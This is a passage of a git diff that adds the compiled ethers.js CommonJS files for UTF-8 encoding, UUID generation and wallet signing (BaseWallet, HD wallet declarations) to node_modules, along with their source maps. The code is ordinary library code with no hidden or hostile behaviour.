+Object.defineProperty(exports, "__esModule", { value: true }); +exports.toUtf8CodePoints = exports.toUtf8String = exports.toUtf8Bytes = exports.Utf8ErrorFuncs = void 0; +/** + * Using strings in Ethereum (or any security-basd system) requires + * additional care. These utilities attempt to mitigate some of the + * safety issues as well as provide the ability to recover and analyse + * strings. + * + * @_subsection api/utils:Strings and UTF-8 [about-strings] + */ +const data_js_1 = require("./data.js"); +const errors_js_1 = require("./errors.js"); +function errorFunc(reason, offset, bytes, output, badCodepoint) { + (0, errors_js_1.assertArgument)(false, `invalid codepoint at offset ${offset}; ${reason}`, "bytes", bytes); +} +function ignoreFunc(reason, offset, bytes, output, badCodepoint) { + // If there is an invalid prefix (including stray continuation), skip any additional continuation bytes + if (reason === "BAD_PREFIX" || reason === "UNEXPECTED_CONTINUE") { + let i = 0; + for (let o = offset + 1; o < bytes.length; o++) { + if (bytes[o] >> 6 !== 0x02) { + break; + } + i++; + } + return i; + } + // This byte runs us past the end of the string, so just jump to the end + // (but the first byte was read already read and therefore skipped) + if (reason === "OVERRUN") { + return bytes.length - offset - 1; + } + // Nothing to skip + return 0; +} +function replaceFunc(reason, offset, bytes, output, badCodepoint) { + // Overlong representations are otherwise "valid" code points; just non-deistingtished + if (reason === "OVERLONG") { + (0, errors_js_1.assertArgument)(typeof (badCodepoint) === "number", "invalid bad code point for replacement", "badCodepoint", badCodepoint); + output.push(badCodepoint); + return 0; + } + // Put the replacement character into the output + output.push(0xfffd); + // Otherwise, process as if ignoring errors + return ignoreFunc(reason, offset, bytes, output, badCodepoint); +} +/** + * A handful of popular, built-in UTF-8 error handling strategies. + * + * **``"error"``** - throws on ANY illegal UTF-8 sequence or + * non-canonical (overlong) codepoints (this is the default) + * + * **``"ignore"``** - silently drops any illegal UTF-8 sequence + * and accepts non-canonical (overlong) codepoints + * + * **``"replace"``** - replace any illegal UTF-8 sequence with the + * UTF-8 replacement character (i.e. ``"\\ufffd"``) and accepts + * non-canonical (overlong) codepoints + * + * @returns: Record<"error" | "ignore" | "replace", Utf8ErrorFunc> + */ +exports.Utf8ErrorFuncs = Object.freeze({ + error: errorFunc, + ignore: ignoreFunc, + replace: replaceFunc +}); +// http://stackoverflow.com/questions/13356493/decode-utf-8-with-javascript#13691499 +function getUtf8CodePoints(_bytes, onError) { + if (onError == null) { + onError = exports.Utf8ErrorFuncs.error; + } + const bytes = (0, data_js_1.getBytes)(_bytes, "bytes"); + const result = []; + let i = 0; + // Invalid bytes are ignored + while (i < bytes.length) { + const c = bytes[i++]; + // 0xxx xxxx + if (c >> 7 === 0) { + result.push(c); + continue; + } + // Multibyte; how many bytes left for this character? + let extraLength = null; + let overlongMask = null; + // 110x xxxx 10xx xxxx + if ((c & 0xe0) === 0xc0) { + extraLength = 1; + overlongMask = 0x7f; + // 1110 xxxx 10xx xxxx 10xx xxxx + } + else if ((c & 0xf0) === 0xe0) { + extraLength = 2; + overlongMask = 0x7ff; + // 1111 0xxx 10xx xxxx 10xx xxxx 10xx xxxx + } + else if ((c & 0xf8) === 0xf0) { + extraLength = 3; + overlongMask = 0xffff; + } + else { + if ((c & 0xc0) === 0x80) { + i += onError("UNEXPECTED_CONTINUE", i - 1, bytes, result); + } + else { + i += onError("BAD_PREFIX", i - 1, bytes, result); + } + continue; + } + // Do we have enough bytes in our data? + if (i - 1 + extraLength >= bytes.length) { + i += onError("OVERRUN", i - 1, bytes, result); + continue; + } + // Remove the length prefix from the char + let res = c & ((1 << (8 - extraLength - 1)) - 1); + for (let j = 0; j < extraLength; j++) { + let nextChar = bytes[i]; + // Invalid continuation byte + if ((nextChar & 0xc0) != 0x80) { + i += onError("MISSING_CONTINUE", i, bytes, result); + res = null; + break; + } + ; + res = (res << 6) | (nextChar & 0x3f); + i++; + } + // See above loop for invalid continuation byte + if (res === null) { + continue; + } + // Maximum code point + if (res > 0x10ffff) { + i += onError("OUT_OF_RANGE", i - 1 - extraLength, bytes, result, res); + continue; + } + // Reserved for UTF-16 surrogate halves + if (res >= 0xd800 && res <= 0xdfff) { + i += onError("UTF16_SURROGATE", i - 1 - extraLength, bytes, result, res); + continue; + } + // Check for overlong sequences (more bytes than needed) + if (res <= overlongMask) { + i += onError("OVERLONG", i - 1 - extraLength, bytes, result, res); + continue; + } + result.push(res); + } + return result; +} +// http://stackoverflow.com/questions/18729405/how-to-convert-utf8-string-to-byte-array +/** + * Returns the UTF-8 byte representation of %%str%%. + * + * If %%form%% is specified, the string is normalized. + */ +function toUtf8Bytes(str, form) { + (0, errors_js_1.assertArgument)(typeof (str) === "string", "invalid string value", "str", str); + if (form != null) { + (0, errors_js_1.assertNormalize)(form); + str = str.normalize(form); + } + let result = []; + for (let i = 0; i < str.length; i++) { + const c = str.charCodeAt(i); + if (c < 0x80) { + result.push(c); + } + else if (c < 0x800) { + result.push((c >> 6) | 0xc0); + result.push((c & 0x3f) | 0x80); + } + else if ((c & 0xfc00) == 0xd800) { + i++; + const c2 = str.charCodeAt(i); + (0, errors_js_1.assertArgument)(i < str.length && ((c2 & 0xfc00) === 0xdc00), "invalid surrogate pair", "str", str); + // Surrogate Pair + const pair = 0x10000 + ((c & 0x03ff) << 10) + (c2 & 0x03ff); + result.push((pair >> 18) | 0xf0); + result.push(((pair >> 12) & 0x3f) | 0x80); + result.push(((pair >> 6) & 0x3f) | 0x80); + result.push((pair & 0x3f) | 0x80); + } + else { + result.push((c >> 12) | 0xe0); + result.push(((c >> 6) & 0x3f) | 0x80); + result.push((c & 0x3f) | 0x80); + } + } + return new Uint8Array(result); +} +exports.toUtf8Bytes = toUtf8Bytes; +; +//export +function _toUtf8String(codePoints) { + return codePoints.map((codePoint) => { + if (codePoint <= 0xffff) { + return String.fromCharCode(codePoint); + } + codePoint -= 0x10000; + return String.fromCharCode((((codePoint >> 10) & 0x3ff) + 0xd800), ((codePoint & 0x3ff) + 0xdc00)); + }).join(""); +} +/** + * Returns the string represented by the UTF-8 data %%bytes%%. + * + * When %%onError%% function is specified, it is called on UTF-8 + * errors allowing recovery using the [[Utf8ErrorFunc]] API. + * (default: [error](Utf8ErrorFuncs)) + */ +function toUtf8String(bytes, onError) { + return _toUtf8String(getUtf8CodePoints(bytes, onError)); +} +exports.toUtf8String = toUtf8String; +/** + * Returns the UTF-8 code-points for %%str%%. + * + * If %%form%% is specified, the string is normalized. + */ +function toUtf8CodePoints(str, form) { + return getUtf8CodePoints(toUtf8Bytes(str, form)); +} +exports.toUtf8CodePoints = toUtf8CodePoints; +//# sourceMappingURL=utf8.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/utf8.js.map b/node_modules/ethers/lib.commonjs/utils/utf8.js.map new file mode 100644 index 000000000000..853fa50eca7c --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/utf8.js.map @@ -0,0 +1 @@ +{"version":3,"file":"utf8.js","sourceRoot":"","sources":["../../src.ts/utils/utf8.ts"],"names":[],"mappings":";;;AAAA;;;;;;;GAOG;AACH,uCAAqC;AACrC,2CAA8D;AAuE9D,SAAS,SAAS,CAAC,MAAuB,EAAE,MAAc,EAAE,KAAiB,EAAE,MAAqB,EAAE,YAAqB;IACvH,IAAA,0BAAc,EAAC,KAAK,EAAE,+BAAgC,MAAO,KAAM,MAAO,EAAE,EAAE,OAAO,EAAE,KAAK,CAAC,CAAC;AAClG,CAAC;AAED,SAAS,UAA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AC,GAAG,IAAI,CAAC,GAAG,IAAI,CAAC,CAAC;SAClC;KACJ;IAED,OAAO,IAAI,UAAU,CAAC,MAAM,CAAC,CAAC;AAClC,CAAC;AAzCD,kCAyCC;AAAA,CAAC;AAEF,SAAS;AACT,SAAS,aAAa,CAAC,UAAyB;IAC5C,OAAO,UAAU,CAAC,GAAG,CAAC,CAAC,SAAS,EAAE,EAAE;QAChC,IAAI,SAAS,IAAI,MAAM,EAAE;YACrB,OAAO,MAAM,CAAC,YAAY,CAAC,SAAS,CAAC,CAAC;SACzC;QACD,SAAS,IAAI,OAAO,CAAC;QACrB,OAAO,MAAM,CAAC,YAAY,CACtB,CAAC,CAAC,CAAC,SAAS,IAAI,EAAE,CAAC,GAAG,KAAK,CAAC,GAAG,MAAM,CAAC,EACtC,CAAC,CAAC,SAAS,GAAG,KAAK,CAAC,GAAG,MAAM,CAAC,CACjC,CAAC;IACN,CAAC,CAAC,CAAC,IAAI,CAAC,EAAE,CAAC,CAAC;AAChB,CAAC;AAED;;;;;;GAMG;AACH,SAAgB,YAAY,CAAC,KAAgB,EAAE,OAAuB;IAClE,OAAO,aAAa,CAAC,iBAAiB,CAAC,KAAK,EAAE,OAAO,CAAC,CAAC,CAAC;AAC5D,CAAC;AAFD,oCAEC;AAED;;;;GAIG;AACH,SAAgB,gBAAgB,CAAC,GAAW,EAAE,IAA+B;IACzE,OAAO,iBAAiB,CAAC,WAAW,CAAC,GAAG,EAAE,IAAI,CAAC,CAAC,CAAC;AACrD,CAAC;AAFD,4CAEC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/uuid.d.ts b/node_modules/ethers/lib.commonjs/utils/uuid.d.ts new file mode 100644 index 000000000000..7b746515759b --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/uuid.d.ts @@ -0,0 +1,8 @@ +import type { BytesLike } from "./index.js"; +/** + * Returns the version 4 [[link-uuid]] for the %%randomBytes%%. + * + * @see: https://www.ietf.org/rfc/rfc4122.txt (Section 4.4) + */ +export declare function uuidV4(randomBytes: BytesLike): string; +//# sourceMappingURL=uuid.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/uuid.d.ts.map b/node_modules/ethers/lib.commonjs/utils/uuid.d.ts.map new file mode 100644 index 000000000000..f3cf307c6733 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/uuid.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"uuid.d.ts","sourceRoot":"","sources":["../../src.ts/utils/uuid.ts"],"names":[],"mappings":"AAOA,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,YAAY,CAAC;AAE5C;;;;GAIG;AACH,wBAAgB,MAAM,CAAC,WAAW,EAAE,SAAS,GAAG,MAAM,CAqBrD"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/uuid.js b/node_modules/ethers/lib.commonjs/utils/uuid.js new file mode 100644 index 000000000000..b02f3b6cd0e3 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/uuid.js @@ -0,0 +1,34 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.uuidV4 = void 0; +/** + * Explain UUID and link to RFC here. + * + * @_subsection: api/utils:UUID [about-uuid] + */ +const data_js_1 = require("./data.js"); +/** + * Returns the version 4 [[link-uuid]] for the %%randomBytes%%. + * + * @see: https://www.ietf.org/rfc/rfc4122.txt (Section 4.4) + */ +function uuidV4(randomBytes) { + const bytes = (0, data_js_1.getBytes)(randomBytes, "randomBytes"); + // Section: 4.1.3: + // - time_hi_and_version[12:16] = 0b0100 + bytes[6] = (bytes[6] & 0x0f) | 0x40; + // Section 4.4 + // - clock_seq_hi_and_reserved[6] = 0b0 + // - clock_seq_hi_and_reserved[7] = 0b1 + bytes[8] = (bytes[8] & 0x3f) | 0x80; + const value = (0, data_js_1.hexlify)(bytes); + return [ + value.substring(2, 10), + value.substring(10, 14), + value.substring(14, 18), + value.substring(18, 22), + value.substring(22, 34), + ].join("-"); +} +exports.uuidV4 = uuidV4; +//# sourceMappingURL=uuid.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/uuid.js.map b/node_modules/ethers/lib.commonjs/utils/uuid.js.map new file mode 100644 index 000000000000..a2225bbee92d --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/uuid.js.map @@ -0,0 +1 @@ +{"version":3,"file":"uuid.js","sourceRoot":"","sources":["../../src.ts/utils/uuid.ts"],"names":[],"mappings":";;;AAAA;;;;GAIG;AACH,uCAA8C;AAI9C;;;;GAIG;AACH,SAAgB,MAAM,CAAC,WAAsB;IACzC,MAAM,KAAK,GAAG,IAAA,kBAAQ,EAAC,WAAW,EAAE,aAAa,CAAC,CAAC;IAEnD,kBAAkB;IAClB,wCAAwC;IACxC,KAAK,CAAC,CAAC,CAAC,GAAG,CAAC,KAAK,CAAC,CAAC,CAAC,GAAG,IAAI,CAAC,GAAG,IAAI,CAAC;IAEpC,cAAc;IACd,uCAAuC;IACvC,uCAAuC;IACvC,KAAK,CAAC,CAAC,CAAC,GAAG,CAAC,KAAK,CAAC,CAAC,CAAC,GAAG,IAAI,CAAC,GAAG,IAAI,CAAC;IAEpC,MAAM,KAAK,GAAG,IAAA,iBAAO,EAAC,KAAK,CAAC,CAAC;IAE7B,OAAO;QACJ,KAAK,CAAC,SAAS,CAAC,CAAC,EAAE,EAAE,CAAC;QACtB,KAAK,CAAC,SAAS,CAAC,EAAE,EAAE,EAAE,CAAC;QACvB,KAAK,CAAC,SAAS,CAAC,EAAE,EAAE,EAAE,CAAC;QACvB,KAAK,CAAC,SAAS,CAAC,EAAE,EAAE,EAAE,CAAC;QACvB,KAAK,CAAC,SAAS,CAAC,EAAE,EAAE,EAAE,CAAC;KACzB,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;AAChB,CAAC;AArBD,wBAqBC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wallet/base-wallet.d.ts b/node_modules/ethers/lib.commonjs/wallet/base-wallet.d.ts new file mode 100644 index 000000000000..e47edb57099b --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wallet/base-wallet.d.ts @@ -0,0 +1,57 @@ +import { AbstractSigner } from "../providers/index.js"; +import type { SigningKey } from "../crypto/index.js"; +import type { AuthorizationRequest, TypedDataDomain, TypedDataField } from "../hash/index.js"; +import type { Provider, TransactionRequest } from "../providers/index.js"; +import type { Authorization } from "../transaction/index.js"; +/** + * The **BaseWallet** is a stream-lined implementation of a + * [[Signer]] that operates with a private key. + * + * It is preferred to use the [[Wallet]] class, as it offers + * additional functionality and simplifies loading a variety + * of JSON formats, Mnemonic Phrases, etc. + * + * This class may be of use for those attempting to implement + * a minimal Signer. + */ +export declare class BaseWallet extends AbstractSigner { + #private; + /** + * The wallet address. + */ + readonly address: string; + /** + * Creates a new BaseWallet for %%privateKey%%, optionally + * connected to %%provider%%. + * + * If %%provider%% is not specified, only offline methods can + * be used. + */ + constructor(privateKey: SigningKey, provider?: null | Provider); + /** + * The [[SigningKey]] used for signing payloads. + */ + get signingKey(): SigningKey; + /** + * The private key for this wallet. + */ + get privateKey(): string; + getAddress(): Promise; + connect(provider: null | Provider): BaseWallet; + signTransaction(tx: TransactionRequest): Promise; + signMessage(message: string | Uint8Array): Promise; + /** + * Returns the signature for %%message%% signed with this wallet. + */ + signMessageSync(message: string | Uint8Array): string; + /** + * Returns the Authorization for %%auth%%. + */ + authorizeSync(auth: AuthorizationRequest): Authorization; + /** + * Resolves to the Authorization for %%auth%%. + */ + authorize(auth: AuthorizationRequest): Promise; + signTypedData(domain: TypedDataDomain, types: Record>, value: Record): Promise; +} +//# sourceMappingURL=base-wallet.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wallet/base-wallet.d.ts.map b/node_modules/ethers/lib.commonjs/wallet/base-wallet.d.ts.map new file mode 100644 index 000000000000..556ddc8cf666 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wallet/base-wallet.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"base-wallet.d.ts","source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AAK,CAAC,cAAc,CAAC,CAAC,EAAE,KAAK,EAAE,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,GAAG,OAAO,CAAC,MAAM,CAAC;CAsB1I"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wallet/base-wallet.js b/node_modules/ethers/lib.commonjs/wallet/base-wallet.js new file mode 100644 index 000000000000..1fe987fc007e --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wallet/base-wallet.js @@ -0,0 +1,127 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.BaseWallet = void 0; +const index_js_1 = require("../address/index.js"); +const index_js_2 = require("../hash/index.js"); +const index_js_3 = require("../providers/index.js"); +const index_js_4 = require("../transaction/index.js"); +const index_js_5 = require("../utils/index.js"); +/** + * The **BaseWallet** is a stream-lined implementation of a + * [[Signer]] that operates with a private key. + * + * It is preferred to use the [[Wallet]] class, as it offers + * additional functionality and simplifies loading a variety + * of JSON formats, Mnemonic Phrases, etc. + * + * This class may be of use for those attempting to implement + * a minimal Signer. + */ +class BaseWallet extends index_js_3.AbstractSigner { + /** + * The wallet address. + */ + address; + #signingKey; + /** + * Creates a new BaseWallet for %%privateKey%%, optionally + * connected to %%provider%%. + * + * If %%provider%% is not specified, only offline methods can + * be used. + */ + constructor(privateKey, provider) { + super(provider); + (0, index_js_5.assertArgument)(privateKey && typeof (privateKey.sign) === "function", "invalid private key", "privateKey", "[ REDACTED ]"); + this.#signingKey = privateKey; + const address = (0, index_js_4.computeAddress)(this.signingKey.publicKey); + (0, index_js_5.defineProperties)(this, { address }); + } + // Store private values behind getters to reduce visibility + // in console.log + /** + * The [[SigningKey]] used for signing payloads. + */ + get signingKey() { return this.#signingKey; } + /** + * The private key for this wallet. + */ + get privateKey() { return this.signingKey.privateKey; } + async getAddress() { return this.address; } + connect(provider) { + return new BaseWallet(this.#signingKey, provider); + } + async signTransaction(tx) { + tx = (0, index_js_3.copyRequest)(tx); + // Replace any Addressable or ENS name with an address + const { to, from } = await (0, index_js_5.resolveProperties)({ + to: (tx.to ? (0, index_js_1.resolveAddress)(tx.to, this) : undefined), + from: (tx.from ? (0, index_js_1.resolveAddress)(tx.from, this) : undefined) + }); + if (to != null) { + tx.to = to; + } + if (from != null) { + tx.from = from; + } + if (tx.from != null) { + (0, index_js_5.assertArgument)((0, index_js_1.getAddress)((tx.from)) === this.address, "transaction from address mismatch", "tx.from", tx.from); + delete tx.from; + } + // Build the transaction + const btx = index_js_4.Transaction.from(tx); + btx.signature = this.signingKey.sign(btx.unsignedHash); + return btx.serialized; + } + async signMessage(message) { + return this.signMessageSync(message); + } + // @TODO: Add a secialized signTx and signTyped sync that enforces + // all parameters are known? + /** + * Returns the signature for %%message%% signed with this wallet. + */ + signMessageSync(message) { + return this.signingKey.sign((0, index_js_2.hashMessage)(message)).serialized; + } + /** + * Returns the Authorization for %%auth%%. + */ + authorizeSync(auth) { + (0, index_js_5.assertArgument)(typeof (auth.address) === "string", "invalid address for authorizeSync", "auth.address", auth); + const signature = this.signingKey.sign((0, index_js_2.hashAuthorization)(auth)); + return Object.assign({}, { + address: (0, index_js_1.getAddress)(auth.address), + nonce: (0, index_js_5.getBigInt)(auth.nonce || 0), + chainId: (0, index_js_5.getBigInt)(auth.chainId || 0), + }, { signature }); + } + /** + * Resolves to the Authorization for %%auth%%. + */ + async authorize(auth) { + auth = Object.assign({}, auth, { + address: await (0, index_js_1.resolveAddress)(auth.address, this) + }); + return this.authorizeSync(await this.populateAuthorization(auth)); + } + async signTypedData(domain, types, value) { + // Populate any ENS names + const populated = await index_js_2.TypedDataEncoder.resolveNames(domain, types, value, async (name) => { + // @TODO: this should use resolveName; addresses don't + // need a provider + (0, index_js_5.assert)(this.provider != null, "cannot resolve ENS names without a provider", "UNSUPPORTED_OPERATION", { + operation: "resolveName", + info: { name } + }); + const address = await this.provider.resolveName(name); + (0, index_js_5.assert)(address != null, "unconfigured ENS name", "UNCONFIGURED_NAME", { + value: name + }); + return address; + }); + return this.signingKey.sign(index_js_2.TypedDataEncoder.hash(populated.domain, types, populated.value)).serialized; + } +} +exports.BaseWallet = BaseWallet; +//# sourceMappingURL=base-wallet.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wallet/base-wallet.js.map b/node_modules/ethers/lib.commonjs/wallet/base-wallet.js.map new file mode 100644 index 000000000000..e61bd8f5ae85 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wallet/base-wallet.js.map @@ -0,0 +1 @@ +{"version":3,"file":"base-wallet.js","sourceRoot":"","sources":["../../src.ts/wallet/base-wallet.ts"],"names":[],"mappings":";;;AAAA,kDAAiE;AACjE,+CAE0B;AAC1B,oDAAoE;AACpE,sDAAsE;AACtE,gDAE2B;AAU3B;;;;;;;;;;GAUG;AACH,MAAa,UAAW,SAAQ,yBAAc;IAC1C;;OAEG;IACM,OAAO,CAAU;IAEjB,WAAW,CAAa;IAEjC;;;;;;OAMG;IACH,YAAY,UAAsB,EAAE,QAA0B;QAC1D,KAAK,CAAC,QAAQ,CAAC,CAAC;QAEhB,IAAA,yBAAc,EAAC,UAAU,IAAI,OAAM,CAAC,UAAU,CAAC,IAAI,CAAC,KAAK,UAAU,EAAE,qBAAqB,EAAE,YAAY,EAAE,cAAc,CAAC,CAAC;QAE1H,IAAI,CAAC,WAAW,GAAG,UAAU,CAAC;QAE9B,MAAM,OAAO,GAAG,IAAA,yBAAc,EAAC,IAAI,CAAC,UAAU,CAAC,SAAS,CAAC,CAAC;QAC1D,IAAA,2BAAgB,EAAa,IAAI,EAAE,EAAE,OAAO,EAAE,CAAC,CAAC;IACpD,CAAC;IAED,2DAA2D;IAC3D,iBAAiB;IAEjB;;OAEG;IACH,IAAI,UAAU,KAAiB,OAAO,IAAI,CAAC,WAAW,CAAC,CAAC,CAAC;IAEzD;;OAEG;IACH,IAAI,UAAU,KAAa,OAAO,IAAI,CAAC,UAAU,CAAC,UAAU,CAAC,CAAC,CAAC;IAE/D,KAAK,CAAC,UAAU,KAAsB,OAAO,IAAI,CAAC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AC;IAED,KAAK,CAAC,aAAa,CAAC,MAAuB,EAAE,KAA4C,EAAE,KAA0B;QAEjH,yBAAyB;QACzB,MAAM,SAAS,GAAG,MAAM,2BAAgB,CAAC,YAAY,CAAC,MAAM,EAAE,KAAK,EAAE,KAAK,EAAE,KAAK,EAAE,IAAY,EAAE,EAAE;YAC/F,sDAAsD;YACtD,yBAAyB;YAEzB,IAAA,iBAAM,EAAC,IAAI,CAAC,QAAQ,IAAI,IAAI,EAAE,6CAA6C,EAAE,uBAAuB,EAAE;gBAClG,SAAS,EAAE,aAAa;gBACxB,IAAI,EAAE,EAAE,IAAI,EAAE;aACjB,CAAC,CAAC;YAEH,MAAM,OAAO,GAAG,MAAM,IAAI,CAAC,QAAQ,CAAC,WAAW,CAAC,IAAI,CAAC,CAAC;YACtD,IAAA,iBAAM,EAAC,OAAO,IAAI,IAAI,EAAE,uBAAuB,EAAE,mBAAmB,EAAE;gBAClE,KAAK,EAAE,IAAI;aACd,CAAC,CAAC;YAEH,OAAO,OAAO,CAAC;QACnB,CAAC,CAAC,CAAC;QAEH,OAAO,IAAI,CAAC,UAAU,CAAC,IAAI,CAAC,2BAAgB,CAAC,IAAI,CAAC,SAAS,CAAC,MAAM,EAAE,KAAK,EAAE,SAAS,CAAC,KAAK,CAAC,CAAC,CAAC,UAAU,CAAC;IAC5G,CAAC;CACJ;AAlID,gCAkIC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wallet/hdwallet.d.ts b/node_modules/ethers/lib.commonjs/wallet/hdwallet.d.ts new file mode 100644 index 000000000000..770ddd7cd720 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wallet/hdwallet.d.ts @@ -0,0 +1,248 @@ +/** + * Explain HD Wallets.. + * + * @_subsection: api/wallet:HD Wallets [hd-wallets] + */ +import { SigningKey } from "../crypto/index.js"; +import { VoidSigner } from "../providers/index.js"; +import { BaseWallet } from "./base-wallet.js"; +import { Mnemonic } from "./mnemonic.js"; +import type { ProgressCallback } from "../crypto/index.js"; +import type { Provider } from "../providers/index.js"; +import type { BytesLike, Numeric } from "../utils/index.js"; +import type { Wordlist } from "../wordlists/index.js"; +/** + * The default derivation path for Ethereum HD Nodes. (i.e. ``"m/44'/60'/0'/0/0"``) + */ +export declare const defaultPath: string; +/** + * An **HDNodeWallet** is a [[Signer]] backed by the private key derived + * from an HD Node using the [[link-bip-32]] stantard. + * + * An HD Node forms a hierarchal structure with each HD Node having a + * private key and the ability to derive child HD Nodes, defined by + * a path indicating the index of each child. + */ +export declare class HDNodeWallet extends BaseWallet { + #private; + /** + * The compressed public key. + */ + readonly publicKey: string; + /** + * The fingerprint. + * + * A fingerprint allows quick qay to detect parent and child nodes, + * but developers should be prepared to deal with collisions as it + * is only 4 bytes. + */ + readonly fingerprint: string; + /** + * The parent fingerprint. + */ + readonly parentFingerprint: string; + /** + * The mnemonic used to create this HD Node, if available. + * + * Sources such as extended keys do not encode the mnemonic, in + * which case this will be ``null``. + */ + readonly mnemonic: null | Mnemonic; + /** + * The chaincode, which is effectively a public key used + * to derive children. + */ + readonly chainCode: string; + /** + * The derivation path of this wallet. + * + * Since extended keys do not provide full path details, this + * may be ``null``, if instantiated from a source that does not + * encode it. + */ + readonly path: null | string; + /** + * The child index of this wallet. Values over ``2 *\* 31`` indicate + * the node is hardened. + */ + readonly index: number; + /** + * The depth of this wallet, which is the number of components + * in its path. + */ + readonly depth: number; + /** + * @private + */ + constructor(guard: any, signingKey: SigningKey, parentFingerprint: string, chainCode: string, path: null | string, index: number, depth: number, mnemonic: null | Mnemonic, provider: null | Provider); + connect(provider: null | Provider): HDNodeWallet; + /** + * Resolves to a [JSON Keystore Wallet](json-wallets) encrypted with + * %%password%%. + * + * If %%progressCallback%% is specified, it will receive periodic + * updates as the encryption process progreses. + */ + encrypt(password: Uint8Array | string, progressCallback?: ProgressCallback): Promise; + /** + * Returns a [JSON Keystore Wallet](json-wallets) encryped with + * %%password%%. + * + * It is preferred to use the [async version](encrypt) instead, + * which allows a [[ProgressCallback]] to keep the user informed. + * + * This method will block the event loop (freezing all UI) until + * it is complete, which may be a non-trivial duration. + */ + encryptSync(password: Uint8Array | string): string; + /** + * The extended key. + * + * This key will begin with the prefix ``xpriv`` and can be used to + * reconstruct this HD Node to derive its children. + */ + get extendedKey(): string; + /** + * Returns true if this wallet has a path, providing a Type Guard + * that the path is non-null. + */ + hasPath(): this is { + path: string; + }; + /** + * Returns a neutered HD Node, which removes the private details + * of an HD Node. + * + * A neutered node has no private key, but can be used to derive + * child addresses and other public data about the HD Node. + */ + neuter(): HDNodeVoidWallet; + /** + * Return the child for %%index%%. + */ + deriveChild(_index: Numeric): HDNodeWallet; + /** + * Return the HDNode for %%path%% from this node. + */ + derivePath(path: string): HDNodeWallet; + /** + * Creates a new HD Node from %%extendedKey%%. + * + * If the %%extendedKey%% will either have a prefix or ``xpub`` or + * ``xpriv``, returning a neutered HD Node ([[HDNodeVoidWallet]]) + * or full HD Node ([[HDNodeWallet) respectively. + */ + static fromExtendedKey(extendedKey: string): HDNodeWallet | HDNodeVoidWallet; + /** + * Creates a new random HDNode. + */ + static createRandom(password?: string, path?: string, wordlist?: Wordlist): HDNodeWallet; + /** + * Create an HD Node from %%mnemonic%%. + */ + static fromMnemonic(mnemonic: Mnemonic, path?: string): HDNodeWallet; + /** + * Creates an HD Node from a mnemonic %%phrase%%. + */ + static fromPhrase(phrase: string, password?: string, path?: string, wordlist?: Wordlist): HDNodeWallet; + /** + * Creates an HD Node from a %%seed%%. + */ + static fromSeed(seed: BytesLike): HDNodeWallet; +} +/** + * A **HDNodeVoidWallet** cannot sign, but provides access to + * the children nodes of a [[link-bip-32]] HD wallet addresses. + * + * The can be created by using an extended ``xpub`` key to + * [[HDNodeWallet_fromExtendedKey]] or by + * [nuetering](HDNodeWallet-neuter) a [[HDNodeWallet]]. + */ +export declare class HDNodeVoidWallet extends VoidSigner { + /** + * The compressed public key. + */ + readonly publicKey: string; + /** + * The fingerprint. + * + * A fingerprint allows quick qay to detect parent and child nodes, + * but developers should be prepared to deal with collisions as it + * is only 4 bytes. + */ + readonly fingerprint: string; + /** + * The parent node fingerprint. + */ + readonly parentFingerprint: string; + /** + * The chaincode, which is effectively a public key used + * to derive children. + */ + readonly chainCode: string; + /** + * The derivation path of this wallet. + * + * Since extended keys do not provider full path details, this + * may be ``null``, if instantiated from a source that does not + * enocde it. + */ + readonly path: null | string; + /** + * The child index of this wallet. Values over ``2 *\* 31`` indicate + * the node is hardened. + */ + readonly index: number; + /** + * The depth of this wallet, which is the number of components + * in its path. + */ + readonly depth: number; + /** + * @private + */ + constructor(guard: any, address: string, publicKey: string, parentFingerprint: string, chainCode: string, path: null | string, index: number, depth: number, provider: null | Provider); + connect(provider: null | Provider): HDNodeVoidWallet; + /** + * The extended key. + * + * This key will begin with the prefix ``xpub`` and can be used to + * reconstruct this neutered key to derive its children addresses. + */ + get extendedKey(): string; + /** + * Returns true if this wallet has a path, providing a Type Guard + * that the path is non-null. + */ + hasPath(): this is { + path: string; + }; + /** + * Return the child for %%index%%. + */ + deriveChild(_index: Numeric): HDNodeVoidWallet; + /** + * Return the signer for %%path%% from this node. + */ + derivePath(path: string): HDNodeVoidWallet; +} +/** + * Returns the [[link-bip-32]] path for the account at %%index%%. + * + * This is the pattern used by wallets like Ledger. + * + * There is also an [alternate pattern](getIndexedAccountPath) used by + * some software. + */ +export declare function getAccountPath(_index: Numeric): string; +/** + * Returns the path using an alternative pattern for deriving accounts, + * at %%index%%. + * + * This derivation path uses the //index// component rather than the + * //account// component to derive sequential accounts. + * + * This is the pattern used by wallets like MetaMask. + */ +export declare function getIndexedAccountPath(_index: Numeric): string; +//# sourceMappingURL=hdwallet.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wallet/hdwallet.d.ts.map b/node_modules/ethers/lib.commonjs/wallet/hdwallet.d.ts.map new file mode 100644 index 000000000000..8c2afd910df5 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wallet/hdwallet.d.ts.map @@ -0,0 +1 @@ 